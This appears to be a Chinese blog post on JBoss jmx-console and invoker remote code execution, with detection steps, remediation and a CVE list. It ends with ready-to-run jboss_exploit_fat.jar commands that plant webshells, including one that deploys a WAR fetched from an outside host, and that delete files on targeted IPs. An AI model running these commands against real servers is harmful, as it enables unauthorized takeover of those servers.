浅谈“Jboss远程代码执行”

一:漏洞名称:

Jboss远程代码执行, Jboss远程命令执行

描述:

JBOSS默认配置会有一个后台漏洞,漏洞发生在jboss.deployment命名空间,中的addURL()函数,该函数可以远程下载一个war压缩包并解压。 如果压缩包里含有webshell文件,是直接可以解析的。

检测条件:

被测网站采用了JBOSS中间件架构

检测方法:

  1. 对于采用JBOSS的网站,首先判断其版本,如果版本为1.0.x版本,则可通过对其控制台的访问来判断,访问http://127.0.0.1:8080/jmx-console/,出现以下页面,则此漏洞可被利用:

下拉找到如下图所示

 

 

点击flavor=URL,type=DeploymentScanner进入

在输入框中写入war压缩文件webshell的url地址,如上图

点击invoke执行界面获得一个jsp的webshell,如下图

2.或者用工具jboss_exploit_fat.jar进行远程命令执行来判断是否存在漏洞,如图所示:

 

漏洞修复:

给jmx-console加上访问密码并且执行以下修复方式:

1.在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件 去掉 security-constraint 块的注释,使其起作用。

2.编辑以下文件:

编辑

WEB-INF/classes/jmx-console-users.properties

server/default/conf/props/jmx-console-users.properties (version >=4.0.2)和

WEB-INF/classes/jmx-console-roles.properties

或server/default/conf/props/jmx-console-roles.properties(version >=4.0.2) 添加用户名密码

3.编辑WEB-INF/jboss-web.xml去掉 security-domain 块的注释 ,security-domain值的映射文件为 login-config.xml (该文件定义了登录授权方式)。

4.对于invoker,采用以下方案:

升级相关的JBOSS中间件到最新版本,或者对该删除 $JBOSS_HOME/[server]/all/deploy 和$JBOSS_HOME/[server]/default/deploy下的Jmx-console.war 、Web-console.war这两个.War文件来禁止对Jmx-console和Web-console的访问。

实际案例:

(缺失,资料不全)

问题出现在$JBOSS_HOME/[server]/default/deploy下的Http-invoker.sar/invoker.war包上,通过删除该.war文件已经修复该问题

其他补充说明:

可参考这篇文章浅谈“异常信息泄露(应用程序错误)”来了解JBoss

以下包含有jboos远程命令执行漏洞:(参考:https://www.onebug.org/websafe/75730.html

访问控制不严导致的漏洞

  • JMX Console未授权访问Getshell
  • JMX Console HtmlAdaptor Getshell(CVE-2007-1036)
  • JMX控制台安全验证绕过漏洞(CVE-2010-0738)
  • Administration Console 弱⼝令 Getshell

反序列化漏洞

  • JBoss JMXInvokerServlet 反序列化漏洞 (CVE-2015-7501)
  • JBoss EJBInvokerServlet 反序列化漏洞
  • JBosS AS 6.X 反序列化漏洞 (CVE-2017-12149)
  • JBoss 4.x JBossMQ JMS 反序列化漏洞 (CVE-2017-7504)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1. 查看系统名称 java -jar jboss_exploit_fat.jar -i http://123.232.119.98:9009/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName 2. 查看系统版本 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion 3.远程创建文件 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository store myname.war index .jsp $content$ true -s java.lang.String;java.lang.String;java.lang.String;java.lang.String;java.lang.Boolean $content$内容是同目录下的shell.jsp文件内容 即:将shell.jsp文件上传到服务器上,最终部署的war访问: http://192.168.7.84:10081/myname/index.jsp 如果有mynameok 表示部署成功 使用client.htm客户端进行连接即可(需要修改ip等信息) 4.远程部署war java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://scriptsgenie.com/demo/test.war 获得shell地址: http://192.168.7.84:10081/test/shell.jsp 5.远程删除文件D:\jboss\server\default\deploy\management\myname.war\index.jsp文件 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove myname index .jsp 6.支持输入用户名和密码 带验证的情况 java -jar jboss_exploit_fat.jar -u name -p password -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove myname index .jsp 7.支持代理模式 java -jar jboss_exploit_fat.jar -P http://127.0.0.1:8080 -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove myname index .jsp

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值